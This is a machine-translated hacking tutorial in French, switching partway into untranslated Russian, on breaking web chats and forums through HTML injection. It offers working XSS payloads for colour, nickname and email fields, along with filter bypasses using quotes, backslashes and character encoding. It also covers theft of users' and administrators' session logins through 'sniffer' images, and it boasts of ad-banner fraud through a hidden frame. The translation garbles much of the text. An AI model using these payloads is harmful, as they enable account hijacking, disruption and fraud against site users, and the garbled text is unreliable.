This page has been robot translated, sorry for typos if any. Original content here.

Rompre la partie de chat 2



  • Partie 1
  • Partie 2


  • Variations sur le sujet

    Dans le chapitre précédent, nous avons examiné un cas dans lequel une couleur avait été insérée dans le texte de la page sans guillemets restrictifs. Et que faire si les citations sont toujours là? Par exemple, le texte dans le chat ressemble à ceci:
    Viator - Alpha, bonjour))
    Alpha - Bonjour à tous! !!

    Comme vous pouvez le constater, la couleur est insérée dans les guillemets. Ce problème est facilement résolu si le chat ne filtre pas le caractère. Si c'est le cas, nous pouvons simplement fermer le devis ouvert, puis écrire notre script. Par exemple, si vous définissez la valeur de couleur en rouge 'taille = 20' <FONT color = # 00ff00>, nous obtiendrons à nouveau l'effet avec une grande police. Faites attention à l'espace et à l'apostrophe à la fin. Ils sont nécessaires pour garantir que la citation finale, que le chat insère elle-même, ne détruit pas nos attributs. En conséquence, notre message ressemblera à:

    Shram - Salut

    Si le chat n'ignore pas le symbole de guillemet entourant la valeur du paramètre, il ne sera pas possible de déchiffrer le chat via ce paramètre. :( (Bien que certaines choses soient possibles ici: voir la fin de ce chapitre.

    Cette méthode fonctionne très souvent (presque toujours) pour l'adresse électronique spécifiée (dans les paramètres de chatlanin ou dans le champ d'adresse de retour dans les forums et les livres d'or). En règle générale, un lien vers le savon va dans les forums comme suit:

    <b>&lt;a href=mailto:mylo@myla.net&gt; Fedya Pupkin &lt;/a&gt;</b> (fragment mailto: la passerelle s'insère elle-même). Ensuite, en définissant la valeur soap sur "style = background-image: url (javascript: alert ('Well_net_you_my_washed!'))" , Nous envoyons une alerte à tous les visiteurs du forum. :) ) (notez que l’adresse du soap, en règle générale, filtre les caractères saisis ne sont pas installés). Certes, certains forums et chats semblent vérifier le soap, mais ce contrôle revient à l'exigence de la présence du symbole @ . Si c'est le cas, nous ferons plaisir aux créateurs du forum et leur dessinerons un chien comme suit: mylo@myla.net "style = image de fond: url (javascript: alert ('Well_new_to_me_my_myla!'))" .

    Dans certaines salles de conversation, vous pouvez insérer vos propres images en spécifiant l'adresse de la photo. Comme nous le savons déjà, s’il existe une URL, vous pouvez y insérer un script. Je ne vais même pas le mâcher. Tout est clair

    Le premier chapitre a montré comment changer le formulaire de chat en entrée. En particulier, il était nécessaire de changer l'adresse relative du champ d'action en absolu. Cependant, la structure du chat peut être si compliquée que de nombreux changements sont nécessaires. Il n'est pas pratique de changer d'adresse dans tous les cas (et vous pouvez vous tromper). Au lieu de cela, nous pouvons recommander la balise <base href = 'http: //typachat.ru/'^gt; , qui est inséré n'importe où dans le document HTML. Dans ce cas, toutes les adresses relatives seront adressées à l'adresse spécifiée dans la balise de base (dans ce cas, sur typachat.ru ), quel que soit le nom DNS de base réel.

    Vous savez probablement ce que sont les renifleurs? Sinon, je vais vous dire un renifleur - une chose très utile qui vous permet de suivre le trafic. Dans le cas d'une discussion en ligne, le renifleur vous permet de déterminer les adresses IP présentes dans la discussion, ainsi que leurs noms et codes temporaires (pour les discussions avec des noms temporaires). Parfois, il vous permet même d'obtenir des droits d'administrateur :) ).

    Il arrive souvent que le surnom figurant dans le texte de la discussion fasse office de lien. Lorsque vous cliquez dessus, vous pouvez envoyer un message privé au membre de la discussion. Voici à quoi ça ressemble en HTML:

    Alpha - Salut!

    Modérateur - Salut!

    Outre l'effet décrit dans le chapitre "Merveilles avec le symbole =", vous pouvez insérer un script qui déclenche l'événement click du lien (si le chat ne filtre pas les guillemets restrictifs - dans ce cas, " - et le symbole + ). Pour ce faire, définissez la valeur suivante: "+ alert ('Hello!') +" . Vous pouvez insérer quelque chose de plus grave (uniquement à l'aide de la fonction toString () ). Par exemple, un tel surnom "+ toString (open ('// yahoo.com', '_ ')) + " envoie à l'utilisateur qui a cliqué sur votre pseudo, faites une pause dans le chat dans Yahoo :) ).

    Rompre le chat M

    Comme indiqué dans le premier chapitre, il existe deux méthodes pour interrompre les discussions. Tous les exemples ci-dessus étaient liés à la première méthode - la méthode de pénétration dans les paramètres de la balise. Ici, je veux montrer la technologie de la deuxième méthode - la méthode pour casser la structure du HTML.

    La couleur des messages dans le chat M était définie sous forme numérique (et avait donc une limite sur la longueur de la couleur - 7 caractères), avait des filtres sophistiqués, mais ignorait un seul caractère ' . Voici un extrait de messages de discussion:

    <code>&lt;font class="а1"&gt;22:41:24 &lt;/font&gt; &lt;a href="javascript:parent.parent.sewho(&amp;#39;РТУТЬ&amp;#39;)" onMouseOver="window.status='';return true;" target=kbd&gt;&lt;font color=#0066ff class="ку"&gt;РТУТЬ:&lt;/font&gt;&lt;/a&gt;&lt;font color=#FF0000 class="уц"&gt;ПЛУГиПРЕЙ:КОРОШО!&lt;/font&gt;&lt;br&gt;&lt;br&gt;&lt;SCRIPT&gt;top.do_scrolldown();&lt;/SCRIPT&gt;&lt;br&gt;&lt;font class="а1"&gt;22:41:25 &lt;/font&gt; &lt;a href="javascript:parent.parent.sewho(&amp;#39;Весь_в_сертах&amp;#39;)" onMouseOver="window.status='';return true;" target=kbd&gt;&lt;font color=#0000FF class="ку"&gt;Весь_в_сертах:&lt;/font&gt;&lt;/a&gt;&lt;font color=#0000FF class="уц"&gt;Денис_Семенов: ПРАВИЛЬНЕЙ БУДЕТ ВСЕ&lt;/font&gt;&lt;br&gt;&lt;br&gt;&lt;SCRIPT&gt;top.do_scrolldown();&lt;/SCRIPT&gt;</code>

    Comme vous pouvez le voir, la couleur est indiquée sans les guillemets. La technologie de piratage informatique est simple: nous nous connectons sous un pseudonyme et une couleur aléatoires. Ensuite, en vous connectant au chat, envoyez un message du type 'style = background-image: url (javascript: alert (' Hello_people !! ')) . Faites attention à l'espace à la fin - il est nécessaire. Notre message est le suivant:

    <code>&lt;font class="а1"&gt;22:41:24 &lt;/font&gt; &lt;a href=javascript:parent.parent.sewho(&amp;#39;Algol&amp;#39;) onMouseOver="window.status='';return true;" target=kbd&gt;&lt;font color=#0066ff class="ку"&gt;Algol:&lt;/font&gt;&lt;/a&gt;&lt;font color=' class="уц"&gt;' style="background-image:url(javascript:alert('Hello_people!!'))&lt;/font"&gt;&lt;br&gt;&lt;br&gt;&lt;SCRIPT&gt;top.do_scrolldown();&lt;/SCRIPT&gt;</code>

    Il se trouve qu'une partie du code HTML - class = "ku"> - se trouvait entre guillemets simples et est considérée par le navigateur comme une valeur de couleur chaîne. L'angle de fermeture de la balise tombe également dans cette ligne, grâce à quoi notre message est à l'intérieur de la balise! La partie du code qui vient directement après notre message n'est pas compris par le navigateur et est ignoré (et cette partie doit être séparée par un espace de notre paramètre style, sinon le paramètre entier sera considéré comme erroné), mais ensuite, le crochet à angle droit est considéré pour fermer la balise font . C'est très simple.

    Peu sur le caractère barre oblique inverse

    Les chaînes de constante JavaScript ont un caractère de contrôle spécial. Ceci est un caractère de barre oblique inverse \ . L’un de ses objectifs est le suivant: le caractère de citation qui le suit est considéré comme un simple caractère et non comme un terminateur de chaîne. Par exemple:

    &lt;script&gt; alerte ('It \' s ') &lt;/ script&gt; - ne donne pas de message d'erreur, car l'apostrophe associée au \ au milieu de la ligne n'est pas considérée comme la fin de la ligne. Pendant que &lt;script&gt; alerte ('c'est') &lt;/ script&gt; donne un message d'erreur.

    Puisque le symbole \ est le caractère de contrôle (et qu’il n’apparaît donc pas directement dans la chaîne), la combinaison \\ existe pour s’afficher. Une telle combinaison est affichée comme un simple caractère.

    Qu'est-ce que tout cela a à voir avec le piratage des chats? Et voici quoi: certaines salles de discussion ne mettent pas de filtre sur les guillemets " (ou ' ) dans le champ du surnom, mais les remplacent par une combinaison du type \" (ou \' ), en supposant que dans ce cas, les guillemets seront affichés mais ne pourront pas servir de limiteurs. et donc ne peut pas détruire la structure de HTML. Dans ce cas, les développeurs à courte vue perdent de vue le fait que l'utilisateur peut également utiliser le caractère \ pour bloquer leur caractère. Par exemple, un fragment de discussion pour un message utilisateur portant le pseudo Sh "ram ressemble à ceci:

    <code>&lt;a href=javascript:msgto(&amp;quot;Al\&amp;quot;gol&amp;quot;)&gt;Sh"ram&lt;a&gt;</code>

    Dans ce cas, la citation dans le pseudo ne viole pas la structure de la balise. Mais si nous changeons le surnom en Al \ "gol , alors insérer une barre oblique devant le guillemet créera le code HTML suivant:

    <code>&lt;a href=javascript:msgto(&amp;quot;Al\\&amp;quot;gol&amp;quot;)&gt;Sh\"ram&lt;/a&gt;</code> En même temps, notre barre oblique bloque la barre oblique du chat et la citation du pseudo détruit la structure du code HTML! Cela se voit si vous cliquez sur le lien dans l'exemple.

    Cet effet peut être utilisé pour pirater des chats en cassant la structure HTML. Notez que dans certains cas, la même méthode peut être utilisée pour bloquer les guillemets restrictifs en insérant une barre oblique inverse à la fin du surnom.

    Récemment, j'ai remarqué un autre trou associé à une utilisation incorrecte du chat symbole \ programmeurs. Par exemple, supposons que le surnom d’un utilisateur soit inséré dans le corps de la discussion en tant que

    <code>&lt;a href=javascript:msgto(&amp;quot;Algol&amp;quot;)&gt;Algol&lt;/a&gt;</code> Si nous modifions le trait en Al'gol , le chat acceptera un tel surnom, mais le remplacera par Al \ 'gol , en croyant naïvement que l'insertion d'une barre oblique inversée protégera le tag de la destruction. Ce n'est en fait pas le cas. :) . Lorsque vous insérez un tel surnom dans le corps de la discussion, vous obtenez le résultat suivant:
    &lt;a href=javascript:msgto(&amp;quot;Al\ gol")'&gt; Al'gol &lt;/a&gt; .
    Dans ce cas, l’explorateur émettra un message d’erreur lorsque vous essayez de chercher le pseudo. La raison en est la suivante: le symbole \ n'a de sens que dans les constantes javascript, mais pas HTML! Le symbole HTML \ ne comprend pas lui-même et considère donc la première apostrophe trouvée comme étant la fin de l'attribut href , malgré le fait qu'il soit précédé de \ . Ainsi, par exemple, un tel surnom, Algol '=, détruira la structure de la balise, malgré le fait qu'une barre oblique inverse soit insérée avant l'apostrophe.

    Piratage au niveau http

    Comme déjà mentionné, le serveur de discussion peut suivre le champ de référence d'une requête HTTP et ne pas lui permettre de discuter si ce champ est différent de celui dont vous avez besoin. Afin de contourner cet obstacle, vous devez intercepter l'en-tête de requête HTTP envoyé par le chat au serveur (à l'aide de programmes spéciaux, tels que Naviscope) et écrire un programme spécial qui envoie des requêtes au serveur. Dans ce cas, le contenu des requêtes (par exemple, les valeurs du champ de couleur) peut être défini de manière arbitraire.

    Je ne m'attarderai pas là-dessus en détail. Cela dépasse le piratage HTML.

    Je remarque seulement qu’au niveau HTTP, vous pouvez faire plus de malins que les moyens classiques HTML ou JavaScript. Dans tous les cas, je vous recommande d'afficher les en-têtes de requête HTTP lorsque vous travaillez en discussion. Ils vous aideront à comprendre le travail du chat plus en détail.

    Miracles avec un symbole =

    Que pensez-vous sera affiché dans le navigateur pour une telle ligne de HTML:

    &lt;font onclick = alert ('=')&gt; Texte &lt;/ font&gt; ? Je parie que vous n’allez pas deviner (à moins bien sûr que vous travailliez chez Microsoft et n’ayez pas développé MSIE). Le résultat est si spécifique que je ne pouvais pas donner d'exemple qui le démontrerait. . Mais vous pouvez croire que les informations suivantes seront affichées dans la fenêtre du navigateur: &lt;fontonclick = alert ('=')&gt; Texte Comme vous pouvez le constater, la balise d'ouverture dans ce cas n'est simplement pas perçue par le navigateur comme une balise, bien qu'il n'y ait pas d'erreur de syntaxe. :) ). Et qu'arrivera-t-il si nous écrivons Texte

    Curieusement, dans ce cas tout ira bien, bien qu'il y ait une erreur de syntaxe. Et si on clique sur le texte, une alerte va s'ouvrir = . Essayez de déplacer la troisième apostrophe derrière le crochet d’angle ou derrière le texte:

    &lt;font onclick = alert ('=')&gt; Texte '&lt;/ font&gt; Ce sera aussi un résultat inattendu.

    Malheureusement, je n'ai ni le code source ni la documentation détaillée pour MSIE, mais je pense que dans ce cas, il y a une erreur évidente dans MSIE. Le navigateur analyse probablement le code en deux étapes. Lors de la première étape, il sélectionne les balises, leurs attributs et le texte qui les sépare, puis lors de la deuxième étape, il analyse le contenu JavaScript des paramètres de balise (il ne s'agit que des attributs autorisant les valeurs de script, telles que href ou onclick ). Lors de l'analyse initiale, le navigateur, pour une raison inconnue, considère la combinaison = 'le début de la ligne, malgré le fait que le symbole = est déjà à l'intérieur de la ligne! Puis en prenant = ' pour le début de la ligne, le programme cherche la fin (en oubliant complètement qu'une autre ligne est ouverte et non fermée). Ainsi, tout ce qui suit = ' (ou = " ) et jusqu'au caractère suivant ' est ignoré et est considéré comme une chaîne! Par conséquent, dans le premier exemple, le navigateur n'a pas perçu la balise: il n'a pas trouvé le crochet à angle de fermeture car il était (pour ainsi dire) à l'intérieur de la chaîne. Mais Ce qui est encore plus surprenant, c’est que lors de la deuxième étape de l’analyse des paramètres de la balise, le navigateur perçoit tout correctement (vous pouvez vous en assurer en cliquant sur Texte dans le deuxième exemple), perçoit la ligne le cas échéant et trouve également le crochet de fermeture. à ce fragment d'un troisième texte deuxième exemple ne figure pas dans le texte brut (parce que ce n'est pas le corps de l'étiquette), mais n'est pas étiquette paramatrom (comme au stade des paramètres d'analyse au compilateur ne vient vient pas)! Flame Salut Bill!

    En utilisant cette erreur du navigateur, j'ai réussi à commenter une partie du code de la discussion, simplement en me connectant sous un pseudo = :) ). Voici un extrait de code qui affiche une liste des personnes présentes dans le chat:

    <code>&lt;a href=javascript:parent.window.messageFor("=")&gt;=&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;a href="javascript:parent.window.messageFor(&amp;quot;Модератор&amp;quot;)"&gt;Модератор&lt;/a&gt;&lt;br&gt;</code>

    Dans ce cas, mon pseudo dans la liste n’apparaissait tout simplement pas, car le fragment entre les guillemets

    )&gt; = &lt;/a&gt; un href = javascript: parent.window.messageFor ( est apparu en dehors du corps des balises: -}. Mais lorsque vous cliquez sur le modérateur , la fonction parent.window.messageFor a été appelée avec le paramètre = . Des "effets" similaires apparaissaient lors de l'affichage de mes messages dans le chat.

    Remarquablement (ou malheureusement - à la recherche de quelqu'un), ce bogue va presque partout où vous pouvez même entrer un fil (au moins pour MSIE 5.50.4134.0600), et pour cela vous n’avez même pas besoin de changer quoi que ce soit dans le formulaire. Et le problème, c’est qu’il est difficile d’obtenir des avantages significatifs (par exemple, l’exécution d’un script).

    En conclusion, nous notons que le symbole > a un effet similaire, perçu comme la fin de la balise, malgré le fait qu'il se trouve à l'intérieur de la chaîne. Fragment

    &lt;font onclick = alert ('&gt;')&gt; Texte &lt;/ font&gt; est interprété par le navigateur comme étant une erreur et donne à voir que la constante de chaîne n'est pas fermée.

    Deux discussions de piratage t

    Chat T a oublié les caractères suivants dans le champ de couleur:

    ' ` = ;

    Lors de l'insertion de couleurs dans le chat, les guillemets étaient manquants. Fragment de messages dans le chat (en passant, l'auteur du chat ne considère apparemment pas nécessaire de fermer les balises)), même si nous espérons que cela est fait pour améliorer les performances):

    <code>&lt;FONT COLOR=008000&gt;&lt;a href=javascript:parent.window.Mtm(&amp;#39;22:18:18&amp;#39;)&gt;22:18:18&lt;/a&gt;- &lt;a href=javascript:parent.window.mfor(&amp;#39;BalamUY&amp;#39;)&gt;BalamUY&lt;/a&gt; : вошел в комнату &lt;FONT COLOR=green&gt;&lt;a href=javascript:parent.window.Mtm(&amp;#39;22:18:03&amp;#39;)&gt;22:18:03&lt;/a&gt; - &lt;a href=javascript:parent.window.mfor(&amp;#39;Fialka&amp;#39;)&gt;Fialka&lt;/a&gt; : Sponsor&gt; Если интересная, то ниче.</code>

    Il était embarrassant que l’espace n’ait pas été ignoré par le filtre. Cependant, après réflexion, j’ai trouvé la solution suivante: j’ai pris la couleur entre guillemets, et après la couleur sans espace, j’ai inséré le paramètre de style: 'red'style = background-image: url (javascript: while (1 == 1) open ( )) . Comme indiqué dans le deuxième chapitre, l’espace de séparation n’est pas nécessaire dans ce cas. :) ).

    À propos, cette conversation était pleine de cadres, y compris ceux qui étaient cachés et vides - probablement pensé à de futures extensions. Mais pendant que les administrateurs pensaient aux extensions, j'ai trouvé une application plus utile pour eux. Je suis restée longtemps dans ce chat - quelques mois. Et ce n'était pas juste suspendu: dans l'un des cadres cachés, j'ai poussé mon saytik. Et sur le site étaient des bannières réseau de bannières. J'ai donc créé des centaines de milliers de bannières et mon site Web a grimpé de 5 à 6 places dans le classement des 100 meilleurs succès de Rambler (dans son groupe). Malheureusement, le réseau de bannières a mis en corrélation le nombre de visites / hôtes et s'est rendu compte qu'il était mené. Il est apparu que le même visiteur visitait mon site 50 fois par jour. Mon compte a été bloqué. Donc, probablement toujours là et se bloque, agité :) ).

    Mais revenons à nos moutons. Après un certain temps, l'administration du chat a remplacé cgi-shku. Je ne sais pas quelles "améliorations" ont été apportées dans la deuxième édition, mais je n’ai remarqué qu’un seul changement: la longueur des valeurs de couleur de trait était limitée et comptait environ 10 caractères (en passant, cette restriction est présente dans de nombreux chats, bien que je ne comprenne pas l’intérêt N’est-il pas plus facile de mettre des filtres sur les caractères entrés? Bien qu’ils soient peut-être ainsi protégés du débordement de tampon?). Dans cette situation, bien sûr, l'ancienne méthode ne fonctionnait plus. Un script décent ne peut pas être composé de 10 caractères (même le style lui-même ne convient pas ici). Je me suis rendu compte que vous ne pouvez percer que par le surnom ou la deuxième méthode - détruire la structure HTML. Je l'ai essayé pendant plusieurs heures. En plus de l'effet bon marché de la disparition du pseudo (chapitre "Les miracles avec le symbole ="), rien ne fonctionnait. La rupture de la structure ne donnait rien pour la raison suivante: en insérant le symbole à la place de la couleur, j’ai ouvert la ligne, mais elle a été fermée par une apostrophe qui faisait référence au temps (ici le chat était juste chanceux - il ne s’agissait pas d’une mesure de protection, bien que de nombreux chats soient insérés spécifiquement pour ce fictif). balises comme <! '"'> ):

    <code>&lt;FONT COLOR="&gt;&lt;a href=javascript:parent.window.Mtm(" 22:18:18')&gt;22:18:18&lt;/a&gt; - &lt;a href=javascript:parent.window.mfor(&amp;#39;Algol&amp;#39;)&gt;Algol&lt;/a&gt; Привет!</code>

    C’est-à-dire que seul un fragment de <a href = javascript: parent.window.Mtm ( . Tout ce que j’ai réalisé est de supprimer la balise d’un lien pendant un certain temps. S'il était possible d’insérer des guillemets simples au lieu de guillemets simples, il n’y aurait alors aucun problème, car dans le chat les guillemets doubles n'ont pas été utilisés. Mais le symbole "n'a pas été ignoré par le filtre. L'entrée sous le surnom de type Algol = n'a pas non plus donné car les symboles après 'Algol =')> ont été ignorés et ne sont pas considérés comme des paramètres de balise. Bien sûr, la variante décrite à la fin du chapitre" Variations à la fin du chapitre " thème ", mais ces scripts ne fonctionnaient que lorsque je cliquais sur mon lien et :( (. J'étais prêt à admettre que le chat entier ne pouvait pas être piraté. Et puis, au dernier moment, en creusant et en expérimentant dans les profondeurs de HTML, j'ai découvert que le caractère barre oblique inversée est aussi un terminateur de lignes HTML! Et ce symbole a été ignoré par le filtre! Sans réfléchir deux fois Je me suis connecté avec le surnom Algol et la couleur " . Ensuite, j'ai envoyé la ligne suivante sous forme de message de discussion: ` style = background-image: url (javascript: alert ('Victory_will_be_za_nami!')) . Mon message dans le corps du message de discussion ressemblait à ceci:

    <code>&lt;FONT COLOR="`"&gt;&lt;a href=javascript:parent.window.Mtm(&amp;#39;22:18:18&amp;#39;)&gt;22:18:18&lt;/a&gt; - &lt;a href=javascript:parent.window.mfor(&amp;#39;Algol&amp;#39;)&gt;Algol&lt;/a&gt;`style=background-image:url(javascript:alert('Победа_будет_за_нами!'))</code>

    Dans le même temps, le fragment <a href=javascript:parent.window.Mtm('22:18:18')> 22:18:18 </a> - <a href = javascript: parent.window.mfor ('Algol') > Algol </a> a été entièrement commenté et considéré comme une couleur. Le paramètre de style était à l'intérieur du tag! Le script a fonctionné :) ).

    Les programmeurs de discussion devront donc développer une nouvelle version de leur progéniture. Il reste à se demander combien de failles ils laissent et à quelle lenteur ils les corrigent. Ils disent tout en psychologie: les concepteurs de systèmes de protection ne peuvent pas se mettre à la place d'un cambrioleur, mais ils jugent le système de leur côté, au lieu de le regarder de l'extérieur.

    "Interception", "falsification" et obtention de droits.

    Envisagez des méthodes pour capturer les messages d'autres personnes (personnes privées) et envoyer des messages pour le compte d'autres chatovtsy. Il existe différentes méthodes d'interception, conçues pour différents types de discussions. Si le chat est complètement piraté, l'opération est «falsifiée» (l'insertion de répliques pour le compte d'autres chatovtsy) n'est pas difficile: il vous suffit d'envoyer la victime à un script privé qui écrira du texte sur la réplique, puis appuyez sur le bouton «Envoyer». De même, vous pouvez retirer et privat utilisateur. Cependant, ces méthodes sont trop grossières, primitives et difficiles à appliquer. Méthodes d'interception plus sophistiquées, dans lesquelles le chat lui-même vous emmène pour un autre utilisateur.

    Lors de la création de discussions HTML, le principal problème est que le protocole HTTP, en principe, ne prend pas en charge les connexions persistantes . Cela signifie que chaque fois que vous souhaitez recevoir des messages ou envoyer une réponse, le programme de discussion en ligne doit vous "connaître", comprendre que vous êtes. Si elle ne reconnaissait pas les utilisateurs, elle ne pourrait pas vous envoyer vos contacts et ne pourrait pas écrire vos messages en votre nom. Pour identifier les participants, les salles de discussion utilisent différentes méthodes. La méthode la plus couramment utilisée est l'adresse IP et la méthode du nom dynamique. La première méthode est basée sur le fait que le même utilisateur a la même adresse IP pendant la session de communication. Je ne m'attarderai pas sur cette méthode en détail, je dirai seulement que cette méthode présente des inconvénients. En particulier, cela peut ne pas fonctionner si l'utilisateur utilise un serveur proxy d'entreprise ou s'il a ouvert plusieurs fenêtres de discussion. Récemment, une autre méthode est devenue fréquemment utilisée - la méthode des noms dynamiques. L'essence de la méthode réside dans le fait que chaque fois que l'utilisateur se connecte au chat, un identifiant unique temporaire lui est automatiquement attribué. Cette connexion est automatiquement enregistrée dans la page que la passerelle envoie à l'utilisateur. Chaque fois qu'un utilisateur envoie un formulaire de réplique ou demande des messages à partir du chat, sa page envoie au serveur un identifiant temporaire lui permettant d'identifier l'utilisateur. Le système de connexion temporaire génère au hasard, et deux utilisateurs différents ne peuvent pas avoir le même login. Le login peut comporter plusieurs parties. Le plus souvent, il s'agit du numéro de séquence de l'utilisateur dans la session et du mot de passe généré de manière aléatoire. Puisque l'identifiant de connexion est «cousu» dans la page de discussion de chaque utilisateur, le système sait exactement avec quel utilisateur il communique, indépendamment de son adresse IP, de ses serveurs proxy, du nombre de fenêtres ouvertes avec discussion, etc.

    Il est clair que si nous connaissions le nom d’utilisateur de l’utilisateur, nous n’aurions pas eu de mal à nous «taper du pied» sous l’utilisateur, nous aurions simplement corrigé notre identifiant de connexion sur sa page. Ensuite, le système nous prendrait pour cela ... Il s'avère que vous pouvez le faire facilement si le chat est piraté, et nous avons la possibilité d'insérer votre photo dans le chat. Ensuite, si vous utilisez un renifleur comme image (voir le chapitre "Variations sur un thème"), nous pourrons alors obtenir les connexions temporaires de tous les participants au chat! Et si nous sommes intéressés par la connexion spécifique de quelqu'un, vous devez lui envoyer un renifleur en privé. Je remarque ce qui suit: la connexion interceptée n’est valide que tant que l’utilisateur est dans le chat, s’il se reconnecte (se déconnecte et se reconnecte à nouveau), il aura déjà une nouvelle connexion temporaire.

    Il est clair que si vous interceptez le nom de connexion temporaire de l'administrateur, ses droits nous seront automatiquement transférés - par exemple, possibilité d'insérer directement des balises dans les messages (c'est-à-dire, absence de filtre pour les caractères < et > ), possibilité de supprimer du chat ou d'obtenir des informations sur l'utilisateur et ainsi de suite

    Troisième discussion de piratage t

    Revenons donc à la longue discussion de T. T. Il n'y a pas si longtemps, la conversation T a complètement basculé vers un nouveau noyau. Maintenant, les règles du jeu ont changé. Au début, le champ de couleur manquait presque tout (jusqu'aux signes < et > ), et il était facile pour moi de le casser. Mais bientôt ce trou a été scellé (non sans ma participation). Dans la nouvelle version du chat, la couleur ne manquait que les chiffres et les lettres. Pirater la couleur est devenu impossible. Cela a conduit à la recherche de méthodes plus sophistiquées. En fait, il ne reste qu'un surnom. De par ma propre expérience, je savais qu'il était assez difficile de séparer un chat par un surnom, car les développeurs choisissaient les filtres pour un surnom plutôt attentivement. Cependant, dans le chat, il y avait une "astuce" exagérée selon laquelle "le jeu de caractères pour le surnom a été considérablement développé". Cela ressemblait à une sorte de publicité. Un petit peu avec les filtres sur le pseudo, j'ai trouvé que les caractères suivants sont manquants:

    ' ` = ; \

    Le symbole "a été ignoré, mais il insérait automatiquement avant le chat \ . Les mécanismes associés à cette combinaison sont décrits dans le chapitre" Informations complémentaires sur le symbole de barre oblique inversée \ ". Cependant, les effets décrits dans ce chapitre ne donnaient pas le résultat souhaité et étaient peu pratiques à utiliser. Solution et je l'ai trouvée!

    Regardons un fragment de messages dans le chat:

    <code>&lt;a href='javascript:top.msgto("Algol")'&gt;Algol&lt;/a&gt;&lt;font&gt; Всем приветик &lt;/font&gt;&lt;a href='javascript:top.msgto("Стелла")'&gt;Стелла&lt;/a&gt;&lt;font&gt; Привет &lt;/font&gt;</code>

    Comme vous pouvez le constater, le surnom a été donné sous forme de lien. Lorsque vous avez cliqué dessus, une certaine fonction a été appelée. Le gestionnaire de liens href était entre guillemets simples et le surnom lui-même entre guillemets doubles. Comme la double citation n'était pas réellement ignorée par la discussion au sens d'un surnom, il était impossible de dépasser les limites de l'argument de la fonction. Le surnom de type = ` n'a pas fonctionné, car le gestionnaire était placé entre des apostrophes simples et, comme indiqué dans le chapitre" Miracles avec le symbole = ", l'effet avec le signe = ne fonctionnait pas. И тут я перечитал собственную статью, и обнаружил следующее: если обработчик заключен в кавычки, то первая же закрывающая кавычка считается концом обработчика, даже несмотря на то, что сама она находится внутри других кавычек (и идет как строковая константа). C'est à dire например при компиляции следующего тега:

    &lt;a href='javascript:msgto("Mc'Donald")'&gt; браузер игнорирует двойные кавычки (поскольку они относятся не к HTML а к JavaScript), и воспринимает апостроф после Mc как закрывающую кавычку обработчика. Donc обработчиком является только javascript:msgto("Mc . Фактически это означало взлом чата. Однако нужно было довести баг чата до нужной "кондиции". Это тоже оказалось непросто. Можно было конечно логиниться под ником типа 'onmouseover=`alert('Hello')` . Но во-первых чат не пропускал слишком длинных ников, а во-вторых в чате полно модераторов, и понятное дело они бы заметили "необычный" ник. Поэтому я решил ломать методом разрушения структуры. После некоторых раздумий я нашел подходящий ник: `='A'=` . Посмотрим как в таком случае сообщения в чате: <code>&lt;ahref='javascript:top.msgto("`='A'=`")'&gt;`='A'=`&lt;/a&gt;&lt;font&gt;` style=background-image:url(javascript:alert()) &lt;/font&gt;&lt;a href='javascript:top.msgto("Стелла")'&gt;Стелла&lt;/a&gt;&lt;/em&gt;</code>

    Фрагмент

    ` style=background-image:url(javascript:alert()) был послан как сообщение в общак. Разберем как браузер компилирует приведенный пример: обработчиком href является 'javascript:top.msgto("`=' . Поскольку обработчик заключен в кавычки, то пробел перед следующим атрибутом тега не требуется. Как таковым и воспринимается A' , а его значением `")'>` . Поскольку значение тега заключено в кавычки, то пробел опять не требуется и дальнейший знак = опять рассматривается как значение некоего атрибута тега: 'A' , как и последующий фрагмент ` ` . Далее следует уже атрибут style=... который оказался внутри тега! Вот так-то :) ).

    Еще несколько взломов многострадального чата T

    Как видно из предыдущей главы, в чате Т свободно можно было втиснуть скрипты, и естественно, что я творил там что хотел (вплоть до того, что назначал себя админом 255 уровня :) . Это конечно сильно не нравилось разработчику чата (с которым я кстати активно общался), и он как бы "пофиксил" баг следующим способом: в сообщениях чатлан он заменял слово script на script , где латинские буквы с и p были заменены на такие же, но из русской раскладки, и естественно, HTML не понимал их. В результате комбинация типа ` style=background-image:url(javascript:alert('Победа_будет_за_нами!')) не работала. Несмотря на то, что по прежнему можно было сниферить чат и ставить обработчики на события типа onmouseover (где префикс javascript: не обязателен, поскольку он по умолчанию считается языком обработчиков событий), но невозможность вставить скрипт, который бы сам запускался меня не устраивала. И тут меня снова выручила многоступенчатая система трансляции HTML. Как уже было замечено, при компиляции HTML в первую очередь компилирует теги и их параметры, а лишь затем компилируется содержимое обработчиков. А теперь вспомним, что каждый символ помимо "обычного" представления имеет закодированное представление (типа ½ или ½ ), которое превращается в обычный символ, при трансляции HTML. Возникает вопрос: на какой именно стадии трансляции происходит раскодировка кода в символ? Несложные эксперименты показывают, что последовательность такова:

    Компиляция HTML > Раскодировка символов > Компиляция обработчиков

    А посему, содержимое обработчиков можно не стеняясь посылать в закодированном виде, при этом фильтры чата его пропускают, а HTML уже на этапе трансляции превращает их в нормальный вид и исполняет! Проверте сами на таком примере (обработчик alert() заменен кодовой комбинацией):

    <code>&lt;font onclick=alert()&gt;Click me&lt;/font&gt;</code>

    Таким образом послав комбинацию

    ` style=background-image:url(javascript:alert('Победа_будет_за_нами!')) на экране чатовцев послушно появился алерт :) .

    Замечу две особенности : 1. Содержимое тега

    &lt;script&gt; нельзя посылать в закодированном виде, его содержимое не раскодируется HTML-ом; 2. Знак = после имени параметра тега и кавычки, ограничивающие обработчики, транслируются до раскодировки, и поэтому их посылать в закодированном виде нельзя (а жаль :{ ).

    Описанная особенность HTML значительно расширяет множество "крякаемых" чатов. Ведь достаточно что бы чат пропускал в поле ника символы & и ; , а в теле чата ник фигурировал в каком нибудь обработчике (типа href="javascript:msg('ник')" ), и в результате, залогинившись под ником '+alert()+' (который после компиляции будет выглядеть как '+alert()+' ), мы получаем скрипт срабатывающий при нажатии на ник.

    Mais ce n'est pas tout. Оказывается джаваскриптовский обработчик в параметре href можно писать и в юникоде! Вместо ника '+alert()+' можно логинится под '%2Balert()%2B' , результат будет тот же :) . Однако раскодировка юникода проходит только в обработчиках href (или в других, где должен присутствовать адрес). В других обработчиках (например onclick ) раскодировка юникода не происходит.

    Спустя некоторое время, админ запретил символ обратного апострофа в именах юзеров, и ник `='A'=` больше не проходил. Немного подумав, я нашел другой ник, который фактически делал то же самое: Don't= . Принцип его работы я думаю вы поймете сами (если вы читали предыдущие главы).

    Взлом UBB / YABB / IB форумов

